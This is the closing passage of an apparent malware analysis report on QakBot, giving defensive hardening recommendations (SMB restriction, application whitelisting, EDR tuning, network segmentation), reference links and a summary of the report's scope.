- Inbound Filtering: Restrict inbound SMB (ports 445) access to only necessary internal systems and administrators.
- Application Whitelist Approach: Implement a strict application whitelisting policy, allowing only known, approved applications to execute. This is one of the most effective defenses against unknown malware.
- EDR Telemetry Tuning: Configure EDR agents to log detailed process creation, network connections, registry modifications, and file system events. Tune rules to detect suspicious API calls (e.g.,
WriteProcessMemory,NtCreateThreadEx), process injection, and suspicious command-line arguments. - Network Segmentation Recommendation: Segment the network into zones to limit the blast radius of an infection. Critical servers and sensitive data should be isolated from user workstations and less secure segments. Use firewalls to enforce strict communication policies between segments.
References
- MalwareBazaar: https://bazaar.abuse.ch/browse.php?search=QakBot
- VirusTotal: https://www.virustotal.com/
- OTX AlienVault: https://otx.alienvault.com/
- MITRE ATT&CK: https://attack.mitre.org/
This comprehensive malware analysis report details the QakBot threat, covering its technical mechanics, MITRE ATT&CK techniques, indicators of compromise (IOCs), static and dynamic analysis findings, real-world campaigns, and active malware landscape context. Defensive strategies including detection logic, Sigma rules, EDR/SIEM telemetry, memory forensics, incident response, and defensive hardening are provided to equip security professionals with actionable intelligence against this persistent threat. The analysis highlights QakBot's role as a sophisticated loader and initial access broker, frequently associated with ransomware deployment, underscoring the importance of robust cybersecurity measures for endpoint protection, network monitoring, and threat hunting.
